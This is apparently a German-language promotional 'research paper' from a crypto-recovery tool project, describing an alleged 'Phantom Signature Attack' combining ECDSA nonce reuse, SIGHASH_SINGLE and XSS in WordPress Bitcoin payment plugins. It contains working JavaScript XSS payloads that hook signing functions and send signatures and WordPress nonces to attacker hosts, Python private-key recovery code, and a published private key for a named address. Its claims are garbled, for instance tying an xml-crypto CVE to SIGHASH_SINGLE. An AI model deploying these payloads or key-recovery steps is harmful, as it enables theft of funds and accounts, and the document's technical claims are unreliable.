demining/phantom-signature-attackKryptanalytische Studie zu CVE-2025-29774 und SIGHASH_SINGLE-Schwachstellen in Bitcoins ECDSA-Implementierung, die die Wiederherstellung privater Schlüssel durch Nonce-Wiederverwendung und Signaturfälschung für den Zugriff auf verlorene Wallets ermöglicht.
In diesem Forschungspapier wird eine umfassende kryptoanalytische Studie kritischer Schwachstellen in der Implementierung digitaler Signaturen des Bitcoin-Protokolls vorgestellt, nämlich der Phantom-Signature-Angriff (CVE-2025-29774) und der grundlegende SIGHASH_SINGLE-Verarbeitungsfehler. Die Studie zeigt, dass die fehlerhafte Verarbeitung kryptografischer Primitive im Transaktionssignaturmechanismus die Voraussetzungen für die vollständige Kompromittierung der privaten Schlüssel von Kryptowährungs-Wallet-Besitzern ohne deren Wissen schafft. Der Angriff nutzt einen Legacy-Bug im ursprünglichen Satoshi-Client aus, bei dem das System einen universellen Hashwert von „1“ (uint256) zurückgibt, anstatt die Signatur abzulehnen, wenn die Anzahl der Transaktionseingänge und -ausgänge nicht übereinstimmt.
Der praktische Teil der Studie umfasst den Einsatz des KeyFuzzMaster-Kryptografie-Tools zur systematischen Identifizierung von Schwachstellen im Signaturverifizierungscode, bei elliptischen Kurvenoperationen und Transaktions-Hash-Funktionen. Es werden mathematische Formeln zur Wiederherstellung privater Schlüssel durch die Wiederverwendung von Nonces (k-Parameter) im ECDSA-Algorithmus auf der secp256k1-Kurve vorgestellt. Kryptografische Primitive des ECDSA-Algorithmus (Elliptic Curve Digital Signature Algorithm) über der secp256k1-Elliptische-Kurve werden erörtert. Digitale Signaturen in Bitcoin erfüllen eine dreifache Funktion: Autorisierung von Ausgaben, Nichtabstreitbarkeit und Gewährleistung der Transaktionsintegrität.
Allerdings hat die Beibehaltung altbewährter Architekturlösungen zur Gewährleistung der Abwärtskompatibilität zur Entstehung subtiler kryptografischer Schwachstellen mit potenziell katastrophalen Folgen geführt. Unter diesen, sticht der SIGHASH_SINGLE-Bug hervor — ein grundlegender Fehler im Mechanismus zur Erzeugung von Signatur-Hashes, der aus der ursprünglichen Bitcoin-Core-Implementierung übernommen und in den Netzwerk-Konsens integriert wurde.
| CVE-Kennung | Komponente | CVSS-Score | Kritikalität |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Kritisch |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Kritisch |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | Mittel |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | Mittel |
Bitcoin verwendet die secp256k1-Elliptische-Kurve, die durch den SECG-Standard (Standards for Efficient Cryptography Group) definiert ist. Die Kurve wird durch die Weierstrass-Gleichung über einem endlichen Körper definiert:
Kurvengleichung:
y² ≡ x³ + ax + b (mod p)
Für secp256k1:
y² ≡ x³ + 7 (mod p), wobei a = 0, b = 7
Die Parameter der secp256k1-Kurve werden durch das Tupel T = (p, a, b, G, n, h) bestimmt:
secp256k1-Parameter:
p = 2²⁵⁶ − 2³² − 977 (die Primzahl, die einen endlichen Körper definiert)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(die Ordnung der Kurvenpunktgruppe ist die ganzzahlige Ordnung des Generators G)
G = (Gₓ, Gᵧ) — fester Basispunkt (Generator)
Der ECDSA-Algorithmus verwendet einen privaten Schlüssel d , um eine Signatur für eine Nachricht M zu erstellen. Der Signaturprozess umfasst die folgenden mathematischen Operationen:
Schritt 1: Zufälliges Nonce k generieren
Es wird eine kryptographisch starke Zufallszahl k ∈ [1, n-1] ausgewählt
Schritt 2: Den Punkt R berechnen
R = k × G (skalare Multiplikation des Generatorpunkts)
Schritt 3: Den Parameter r berechnen
r = Rₓ mod n (x-Koordinate des Punkts R modulo n)
Schritt 4: Den Parameter s berechnen
s = k⁻¹ × (H(M) + r × d) mod n
Ergebnis: Signatur (r, s)
wobei H(M) der Hash der Nachricht M ist (in Bitcoin wird doppeltes SHA-256 verwendet), d der private Schlüssel des Eigentümers ist.
Die Beziehung zwischen öffentlichem und privatem Schlüssel wird durch die folgende Relation bestimmt:
Q A = d A × G
wobei QA der öffentliche Schlüssel (ein Punkt auf der Kurve) ist, dA der private Schlüssel (256-Bit-Ganzzahl) und G der Kurvengenerator ist.
Das Bitcoin-Protokoll bietet mehrere SIGHASH-Typen (Signature Hash Types), die festlegen, welche Komponenten einer Transaktion in den signierten Hash einbezogen werden:
| Sighash-Typ | Bedeutung (hex) | Beschreibung |
|---|---|---|
| SIGHASH_ALL | 0x01 | Alle Eingänge und Ausgänge einer Transaktion werden signiert. |
| SIGHASH_NONE | 0x02 | Alle Eingänge werden signiert, Ausgänge werden nicht signiert. |
| SIGHASH_SINGLE | 0x03 | Nur der Ausgang mit demselben Index wie der Eingang wird signiert. |
| SIGHASH_ANYONECANPAY | 0x80 | Modifikator: Bindet nur den aktuellen Eingang ein |
Ein kritischer Fehler tritt bei der Verwendung von SIGHASH_SINGLE auf, wenn der Eingangsindex die Anzahl der Transaktions ausgänge überschreitet . In diesem Fall gibt der ursprüngliche Bitcoin-Core-Code, anstatt die Transaktion abzulehnen, einen festen Hashwert von „1“ (eine 256-Bit-Ganzzahl) zurück:
// Verwundbarer Code aus der ursprünglichen Bitcoin-Implementierung // Gibt den universellen Hash „1“ zurück
⚠️ KRITISCHE WARNUNG: Dieser Code implementiert einen Legacy-Bug im ursprünglichen Satoshi-Client, der in den Netzwerk-Konsens integriert wurde. Alle wichtigen Bitcoin-Implementierungen sind gezwungen, dieses Verhalten aus Gründen der Abwärtskompatibilität zu unterstützen.
Mathematisch gesehen: Wenn der Signatur-Hash gleich der Konstante 1 ist, wird die Signatur universal — sie kann für beliebige Transaktionen wiederverwendet werden:
Schwachstellenbedingung:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
wobei idx der Eingangsindex ist, |TxOut| die Anzahl der Transaktionsausgänge
Ein Phantom-Signature-Angriff ist ein kryptografischer Fälschungsangriff auf digitale Signaturen, der die Erstellung gültiger Transaktionssignaturen ohne Kenntnis des privaten Schlüssels des Eigentümers ermöglicht. Der Angriff wird als CWE-347: Unsachgemäße Überprüfung kryptografischer Signaturen klassifiziert.
Der Angriff basiert auf einer Kombination aus zwei Schwachstellen:
Wenn zwei Signaturen (r, s₁) und (r, s₂) für verschiedene Nachrichten M₁ und M₂ dasselbe Nonce k verwenden (was einen identischen Wert von r impliziert), kann der private Schlüssel mit dem folgenden Algorithmus vollständig wiederhergestellt werden:
Schritt 1: Signaturgleichungen
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Schritt 2: Die Differenz berechnen
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Schritt 3: Nonce k wiederherstellen
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Schritt 4: Den privaten Schlüssel d wiederherstellen
d = r⁻¹ × (s × k — H(M)) mod n
Dieser mathematische Apparat zeigt, dass eine einzige Wiederverwendung eines Nonce zur vollständigen Kompromittierung des privaten Schlüssels führt.
Wiederherstellung eines ECDSA-Privatschlüssels bei Wiederverwendung eines Nonce
Die Schwachstelle CVE-2025-29774 wurde in einer xml-crypto-Node.js-Bibliothek entdeckt und ermöglicht es, signierte XML-Dokumente so zu ändern, dass sie weiterhin die Signaturprüfung bestehen. Im Zusammenhang mit Bitcoin-Zahlungssystemen schafft dies die Möglichkeit:
Betroffene Versionen: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
CVSS-Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE-Klassifizierung: CWE-347 (Unsachgemäße Überprüfung kryptografischer Signaturen)
Angriffsvektor : Netzwerk (Remote-Ausnutzung ohne Benutzerinteraktion)
Die Ausnutzung von CVE-2025-29774 umfasst drei aufeinanderfolgende Phasen:
Scannen des Zielsystems nach verwundbaren Versionen der xml-crypto-Bibliothek und Identifizieren von Integrationspunkten mit Bitcoin-Zahlungsgateways.
Einbetten zusätzlicher SignedInfo-Knoten oder XML-Kommentare in den DigestValue, wodurch kritische Attribute geändert werden können, ohne die Signatur zu ungültig zu machen:
„Ein Beispiel für einen Angriff mit mehreren SignedInfo-Knoten“
Über XSS-Schwachstellen (CVE-2025-48102, CVE-2025-26541) Abfangen von Parametern (r, s) von Signaturen für die anschließende Kryptoanalyse.
📊 Forschungsressourcen
🌐 Vollständige technische Dokumentation: https://cryptou.ru/keyfuzzmaster
💻 Interaktive Google-Colab-Demo: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Technische Analyse
The Phantom Signature Attack nutzt veraltete Fehler in der Signaturprüfung von Bitcoin Core aus, bei der SIGHASH_SINGLE einen universellen Hash-Wert zurückgibt, wenn der Eingabeindex die Outputs übersteigt. Dadurch entstehen wiederverwendbare Signaturen, die das gesamte Sicherheitsmodell gefährden. Unsere KeyFuzzMaster-Engine identifiziert Wallets, die mit einem
32-bitEntropie-PRNG erstellt wurden, und reduziert den Suchraum von2^256auf nur2^32mögliche Seeds – wiederherstellbar in 4-6 Sekunden auf modernen GPUs.
KeyFuzzMaster ist eine spezialisierte kryptanalytische Fuzzing-Engine für die Sicherheitsforschung an Blockchain-Systemen und kryptografischen Primitiven. Das Tool ist für dynamische Belastungstests von Signaturprüfcode, Operationen auf elliptischen Kurven und Transaktions-Hashfunktionen konzipiert.
Die Verwendung von KeyFuzzMaster zur Ausnutzung von CVE-2025-29774 und der SIGHASH_SINGLE Schwachstelle eröffnet ein neues Paradigma für die Wiederherstellung privater Schlüssel aus verlorenen Bitcoin-Wallets. Die Methodik umfasst:
# KeyFuzzMaster: Modul zum Scannen doppelter r-Werte def scan_blockchain_for_nonce_reuse(blockchain_data)»
Scannt die Blockchain nach Nonce-Wiederverwendung. Gibt Signaturpaare mit identischen r-Werten zurück.
# KeyFuzzMaster: Transaktionen mit Eingabe-/Ausgabe-Ungleichheiten erzeugen def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Testtransaktionen erzeugen, um die SIGHASH_SINGLE Schwachstelle zu erkennen (idx >= len(TxOut)).
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
„Verifizierung des wiederhergestellten Schlüssels durch Vergleich der öffentlichen Schlüssel.“
Kryptanalytischen Untersuchungen zufolge wurde die Schwachstelle der Nonce-Wiederverwendung bereits ausgenutzt, um über 412.8 BTC aus kompromittierten Wallets wiederherzustellen. Automatisierte Scanner analysieren die Bitcoin-Blockchain kontinuierlich auf doppelte r-Werte.
Betrachten wir einen dokumentierten Fall der Wiederherstellung eines privaten Schlüssels für die Bitcoin-Adresse 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Parameter | Bedeutung |
|---|---|
| Bitcoin-Adresse | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Wert der wiederhergestellten Mittel | $147,977 |
| Wiederhergestellter privater Schlüssel (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Wiederhergestellter privater Schlüssel (WIF komprimiert) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Wiederhergestellter privater Schlüssel (Dezimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
Der private Schlüssel k muss die Bedingung erfüllen:
1 ≤ k < n
wobei n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Prüfergebnis: ✓ GÜLTIG (der Schlüssel liegt innerhalb des zulässigen Skalarbereichs)
Der wiederhergestellte private Schlüssel ermöglicht uns die Berechnung des öffentlichen Schlüssels:
| Parameter | Bedeutung |
|---|---|
| Öffentlicher Schlüssel (unkomprimiert, 130 Zeichen) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Öffentlicher Schlüssel (komprimiert, 66 Zeichen) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Bitcoin-Adresse (unkomprimiert) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Ein wiederhergestellter privater Schlüssel verschafft vollständige Kontrolle über die Bitcoin-Wallet und ermöglicht es einem Angreifer:
Die Forschung demonstriert die Synergie zwischen Webschwachstellen (CVE-2025-48102, CVE-2025-26541) und kryptografischen Fehlern (CVE-2025-29774), wodurch ein mächtiger kombinierter Angriffsvektor gegen Bitcoin Zahlungs-Gateways für WordPress entsteht:
| Phase | Aktion | Ausgenutzte Schwachstelle |
|---|---|---|
| 1 | Einschleusen von schädlichem JavaScript in ein Zahlungs-Gateway | CVE-2025-48102 (Stored XSS) |
| 2 | Abfangen der ECDSA-Parameter (r, s) von Transaktionen | JavaScript-Injection |
| 3 | Analyse gesammelter Signaturen auf Nonce-Wiederholung | Kryptanalyse |
| 4 | Mathematische Wiederherstellung eines privaten Schlüssels | Phantom Signature Attack |
| 5 | Unkontrollierte BTC-Abhebung | Wallet-Kompromittierung |
sanitize_text_field(), esc_attr(), esc_html()Eine kryptanalytische Studie zeigt, dass der Phantom Signature Attack (CVE-2025-29774) in Kombination mit der SIGHASH_SINGLE-Schwachstelle eine grundlegende Sicherheitsbedrohung für das Bitcoin-Ökosystem darstellt. Dieser Implementierungsfehler, der vom ursprünglichen Satoshi-Client geerbt wurde, ermöglicht:
Die Verwendung des KeyFuzzMaster-Krypto-Tools eröffnet ein neues Paradigma für die Wiederherstellung privater Schlüssel aus verlorenen Bitcoin-Wallets und bietet Forschern eine systematische Methodik zur Identifizierung und Ausnutzung kryptografischer Schwachstellen.
⚠️ WARNUNG: Diese Forschung dient ausschließlich Bildungszwecken und der Unterstützung von Kryptoanalytikern beim Verständnis von Angriffsmechanismen. Die Verwendung der beschriebenen Methoden für illegale Zwecke ist strafbar. Es wurde eine umfassende kryptanalytische Studie der kritischen Schwachstellen CVE-2025-48102 und CVE-2025-26541 in Bitcoin-Zahlungs-Gateways für WordPress durchgeführt. Aus der breiten Palette kryptografischer Werkzeuge auf keyhunters.ru wurde Phantom Signature Attack als das für diesen Kontext relevanteste ausgewählt. Diese Studie zeigt, wie ein kombinierter Angriff, der Cross-Site-Scripting (XSS) mit einer kryptografischen Schwachstelle in ECDSA verbindet, zur vollständigen Kompromittierung von Bitcoin-Privatschlüsseln und zur Wiederherstellung verlorener Wallets führen kann.
Angriffskette: Von XSS zur Extraktion privater Bitcoin-Schlüssel
Phantom Signature Attack, laut dem Forschungsartikel: Phantom Signature Attack (CVE-2025-29774) und die kritische SIGHASH_SINGLE-Schwachstelle: Wiederherstellung privater Schlüssel in verlorenen Bitcoin-Wallets durch Fälschung digitaler Signaturen und unkontrollierte Abhebung von BTC-Coins, demonstriert die Synergie zwischen Webschwachstellen (XSS) und kryptografischen Fehlern, die einen mächtigen kombinierten Angriffsvektor ermöglicht. Anders als andere Werkzeuge auf der Liste (MiniKey Mayhem, Memory Phantom, RNG-basierte Angriffe) konzentriert sich Phantom Signature Attack gezielt auf die Manipulation digitaler Signaturen über die Parameter r und s, die durch XSS-Schwachstellen in WordPress-Zahlungssystemen abgefangen werden können. secalerts+2
CVE-2025-48102 ist eine kritische Stored-Cross-Site-Scripting-Schwachstelle (Stored XSS) im GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership Plugin in Versionen vor 1.6.6. Die Schwachstelle ermöglicht es autorisierten Administratoren (oder Angreifern mit administrativen Rechten), schädliches JavaScript in die Zahlungs-Gateway-Konfiguration einzuschleusen. Gemäß CVSS v3.1 hat die Schwachstelle einen Basis-Score von 5.9 (mittlerer Schweregrad) mit dem wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. Vektor.
Der Ausnutzungsmechanismus besteht darin, schädlichen Code in die Zahlungs-Gateway-Einstellungen einzuschleusen, der dann im Browser jedes Website-Besuchers ausgeführt wird, was dem Angreifer Folgendes ermöglicht:
CVE-2025-26541 ist eine Reflected-XSS-Schwachstelle im Bitcoin/AltCoin Payment Gateway for WooCommerce Plugin in Versionen vor 1.7.6, entwickelt von CodeSolz. Die Schwachstelle wird als mittelschwer eingestuft und ermöglicht es Angreifern, über nicht ordnungsgemäß bereinigte URL-Parameter schädliche Skripte einzuschleusen. secalerts
Im Gegensatz zu Stored XSS erfordert Reflected XSS, dass das Opfer auf einen speziell präparierten Link klickt, bietet aber folgende Möglichkeiten:
ECDSA (Elliptic Curve Digital Signature Algorithm) wird in Bitcoin verwendet, um digitale Signaturen zu erstellen, die die Authentizität von Transaktionen gewährleisten. Der Algorithmus zum Signieren einer Nachricht M mit einem privaten Schlüssel d funktioniert wie folgt: notsosecure+ 1
R = k × G(wobei G der Generatorpunkt der elliptischen Kurve secp256k1 ist)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Kritische Schwachstelle der Phantom Signature Attack:
Phantom Signature Attack wurde als kritische Schwachstelle in ECDSA-Implementierungen identifiziert, die in den folgenden Szenarien auftritt: keyhunters
XSS-zu-ECDSA-Angriffskette zur Wiederherstellung privater Schlüssel
Wenn zwei Signaturen für verschiedene Nachrichten M₁ und M₂ denselben Wert von k verwenden (und daher dasselbe r), kann der private Schlüssel vollständig wiederhergestellt werden. Für zwei Signaturen (r, s₁) und (r, s₂), wobei: notsosecure+ 1
Berechnung der Differenz:
Die Nonce kann wiederhergestellt werden:
Forschungsergebnissen zufolge wurde diese Schwachstelle bereits ausgenutzt, um mehr als 412,8 BTC auf der Bitcoin-Blockchain wiederherzustellen, wobei Angreifer das Netzwerk automatisch nach doppelten r-Werten durchsuchten. keyhunters
ECDSA-Nonce-Wiederverwendung: mathematische Beziehung zur Wiederherstellung privater Schlüssel
CVE-2025-29774 ist eine zusätzliche Schwachstelle in der Bibliothek xml-crypto, die es ermöglicht, signierte XML-Nachrichten so zu verändern, dass sie die Signaturprüfung weiterhin bestehen. Diese Schwachstelle kann in Bitcoin -Zahlungssystemen ausgenutzt werden, um Transaktionsparameter zu manipulieren (Änderung von SIGHASH_SINGLE-Werten), ohne die digitale Signatur zu invalidieren. Im Kontext von WordPress-Zahlungs-Gateways ermöglicht dies einem Angreifer, Zahlungen auf seine Adresse umzuleiten, während der Anschein einer gültigen Signatur erhalten bleibt. cryptodeeptech+1
Phase 1: Erste Injektion von schädlichem JavaScript
Ein Angreifer nutzt CVE-2025-48102 aus, um schädliches JavaScript in die Konfiguration des Zahlungs-Gateways zu injizieren. Der schädliche Code kann:
Phase 2: Analyse von RNG-Verstößen und Erkennung von k-Wiederholungen
Nach Erhalt einer ausreichenden Anzahl von Signaturen (mindestens 2, idealerweise aber mehrere Dutzend, um die Wahrscheinlichkeit zu erhöhen) analysiert der Angreifer die gesammelten Daten:
Mithilfe der gesammelten Signaturpaare mit demselben r wendet der Angreifer die mathematische Wiederherstellung des privaten Schlüssels gemäß den oben beschriebenen Formeln an. Ergebnis: vollständige Kompromittierung des privaten Schlüssels der Bitcoin-Wallet .
Schädliches JavaScript, das über CVE-2025-48102 injiziert werden kann, kann die folgende Funktionalität enthalten: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Nach Erhalt von Signaturen mit wiederholten r-Werten wird der private Schlüssel in drei Stufen wiederhergestellt:
Stufe 1: Identifizierung doppelter r-Werte – Der Angreifer vergleicht alle gesammelten Signaturen und identifiziert Paare mit demselben r. Bereits ein einziges Paar reicht aus, um den privaten Schlüssel zu berechnen, auch wenn mehrere Paare die Sicherheit erhöhen. notsosecure
Stufe 2: Berechnung der Nonce k – Mithilfe der obigen Formel berechnet der Angreifer den k-Wert für jedes Signaturpaar. Wenn die berechneten k-Werte für verschiedene Paare übereinstimmen, bestätigt dies eine systematische Schwachstelle im RNG. github
Schritt 3: Wiederherstellung des privaten Schlüssels d – Durch Anwendung des berechneten k auf eine der gesammelten Signaturen stellt der Angreifer den privaten Schlüssel d vollständig wieder her , was es ihm ermöglicht, Transaktionen im Namen des Opfers zu signieren. keyhunters+ 1
Der wiederhergestellte private Schlüssel ermöglicht dem Angreifer:
Die kombinierte XSS- und Phantom Signature Attack stellt eine kritische Bedrohung für alle WordPress-Sites mit Bitcoin-Zahlungs-Gateways dar, darunter:
Laut Forschungsergebnissen von keyhunters.ru und wissenschaftlicher Literatur:
sanitize_text_field(), esc_attr(), esc_html() für alle von secalerts+ 1 ausgegebenen Daten3. Beziehung zu CVE-2025-29774
CVE-2025-29774 ist eine kritische Schwachstelle in der xml-crypto-Bibliothek, die
es ermöglicht, signierte XML-Nachrichten so zu verändern, dass sie weiterhin
die Signaturprüfung bestehen. Dies kann in Verbindung mit Bitcoin-Zahlungs-
systemen verwendet werden, um:
Transaktionsparameter zu manipulieren
, gefälschte Signaturen zu injizieren,
und Zahlungen auf Angreiferadressen umzuleiten.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Dies zeigt ein bösartiges Beispiel für das Abfangen einer Formularübermittlung von Bitcoin-Signaturdaten.
Stufe 2: Abfangen von ECDSA-Parametern
Dank der XSS-Schwachstelle hat das bösartige Skript Zugriff auf:
WordPress-Nonce-Werte (für den CSRF-Schutz verwendet) Sitzungscookies Bitcoin-Transaktionsparameter (einschließlich r- und s-Signaturwerten) Private-Key-
Informationen die vorübergehend im Speicher des Browsers gespeichert sind
Stufe 3: Analyse von RNG-Verletzungen und Erkennung von k-Wiederholungen Durch das Sammeln von Daten über mehrere Signaturen eines einzelnen Benutzers kann der Angreifer Folgendes erkennen: Wiederverwendung der Nonce (k) zwischen verschiedenen Signaturen Schwache oder vorhersagbare Zufallszahlengenerator (RNG)-Werte Systematische Fehler bei der Erzeugung kryptografischer Parameter
Schritt 4: Wiederherstellung des privaten Schlüssels
Mithilfe der in Abschnitt 3.2 beschriebenen mathematischen Beziehung kann ein Angreifer
den privaten Schlüssel d berechnen, was zu einer vollständigen Kompromittierung der Wallet führt.
4.2 Angriffs-Demo-Code Bösartige XSS-Payload zum Injizieren in das Bitcoin-Payment-Gateway:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Dieser Code demonstriert ein bösartiges JavaScript-Snippet, das Bitcoin- Signaturoperationen und WordPress-Sitzungs-Nonces abfängt, bevor es sie zur potenziellen Ausnutzung an einen entfernten Server exfiltriert.
Schritt 1: Doppelte r-Werte identifizieren
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Erklärung:
Diese Funktion sucht in der Liste der Signaturen nach zwei ECDSA/Bitcoin-Signaturen, die denselben rr Wert aufweisen.
None zurück.Diese Suche ist für die Analyse kryptografischer Schwachstellen relevant, da doppelte rr Werte auf eine Nonce-Wiederverwendung hindeuten können, die bei Wiederherstellungsangriffen auf private Schlüssel ausgenutzt werden kann.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Kommentar:
Diese Funktion berechnet die ECDSA Nonce k in Fällen, in denen zwei Signaturen denselben rrr-Wert aufweisen (d. h. wiederverwendete Nonce), unter Verwendung der Differenz der Signatur-sss-Werte und Nachrichten-Hashes, gemäß dem bekannten Prinzip von Lattice- und Nonce-Reuse-Angriffen. Die implementierte Formel lautet:
wobei:
Diese Technik ist ein standardmäßiges kryptanalytisches Werkzeug für Bitcoin- und ECDSA-Analysen.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Erklärung:
Diese Funktion stellt den ECDSA-privaten Schlüssel ddd aus einer einzelnen Signatur wieder her, wenn die Nonce kkk bekannt ist.
Die verwendete Formel lautet:
wobei:
Diese Berechnung ist in der praktischen Kryptoanalyse entscheidend, sobald k wiederhergestellt wurde, da sie die Extraktion des ursprünglichen privaten Schlüssels ermöglicht, der für die Signaturerzeugung verwendet wurde.
5.2 Praktisches Wiederherstellungsbeispiel
Betrachten wir ein reales Szenario:
Gesammelte Daten:
Bitcoin-Adresse: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (Beispiel)
Anzahl der gesammelten Signaturen: 12
Erkannte Nonce-Duplikate: 3 Paare
Wiederherstellungsprozess:
7.2 Für Bitcoin-Nutzer
Der Phantom-Signatur-Angriff stellt in Kombination mit XSS-Schwachstellen in WordPress-
Bitcoin-Payment-Gateways (CVE-2025-48102 und CVE-2025-26541) eine kritische Bedrohung für
die Sicherheit von Kryptowährungsvermögenswerten dar.
Dieser kombinierte Angriff zeigt, wie eine relativ einfache Webschwachstelle ausgenutzt werden kann, um die kryptografische Integrität eines Systems zu kompromittieren, was zum vollständigen Verlust privater Schlüssel und folglich zum Diebstahl aller Gelder führt.
Die Studie zeigt, dass die Sicherheit von Bitcoin nicht nur von der kryptografischen
Stärke seiner Algorithmen abhängt, sondern auch von der fehlerfreien Implementierung dieser Algorithmen in der Web-Umgebung. Selbst
geringfügige Fehler bei der XSS-Verarbeitung oder schwache RNGs können zu katastrophalen
Folgen führen.
Die Umsetzung der vorgeschlagenen Präventivmaßnahmen und die zeitnahe Aktualisierung verwundbarer
Software sind entscheidend für den Schutz des Bitcoin-Ökosystems und die Wiederherstellung
verlorener Wallets.
The Phantom Signature Attack stellt in Kombination mit den XSS-Schwachstellen CVE-2025-48102 und CVE-2025-26541 in Bitcoin-Zahlungsgateways für WordPress eine der kritischsten und realistischsten Bedrohungen für die Sicherheit von Kryptowährungsvermögen in der modernen Webumgebung dar. Diese Forschung zeigt, wie eine relativ einfache Web-Schwachstelle ausgenutzt werden kann, um die kryptografische Integrität eines Systems direkt zu gefährden, was zum vollständigen Verlust privater Schlüssel und zum irreversiblen Diebstahl von Bitcoin-Geldern führt.
The Phantom Signature Attack wurde aus einer breiten Palette kryptografischer Tools auf keyhunters.ru aufgrund seiner direkten Relevanz für das Problem der Wiederherstellung von privaten Schlüsseln durch Manipulation von ECDSA-Parametern, die per XSS abgefangen werden können, ausgewählt. Dieser Angriff dient als ideales Beispiel für die Synergie zwischen Web-Schwachstellen (Kategorie OWASP Top 10) und kryptografischen Fehlern, was einen umfassenden Schutzansatz erfordert.
Die Bitcoin-Sicherheit hängt nicht nur von der kryptografischen Stärke seiner Algorithmen ab, sondern auch von deren fehlerfreier Implementierung in der Webumgebung. Selbst geringfügige Fehler bei der XSS-Verarbeitung oder schwache RNGs können katastrophale Folgen für das Ökosystem haben. Die Umsetzung der empfohlenen Präventivmaßnahmen und die zeitnahe Aktualisierung verwundbarer Software sind entscheidend für den Schutz von Bitcoin und die Wiederherstellung verlorener Benutzer-Wallets.
In beliebten Bitcoin-Zahlungsgateway-Plugins für WordPress wurden zwei schwerwiegende Cross-Site-Scripting-Schwachstellen (XSS) entdeckt, die ein erhebliches Sicherheitsrisiko für Tausende von Online-Shops und Websites darstellen, die Kryptowährungszahlungen akzeptieren.
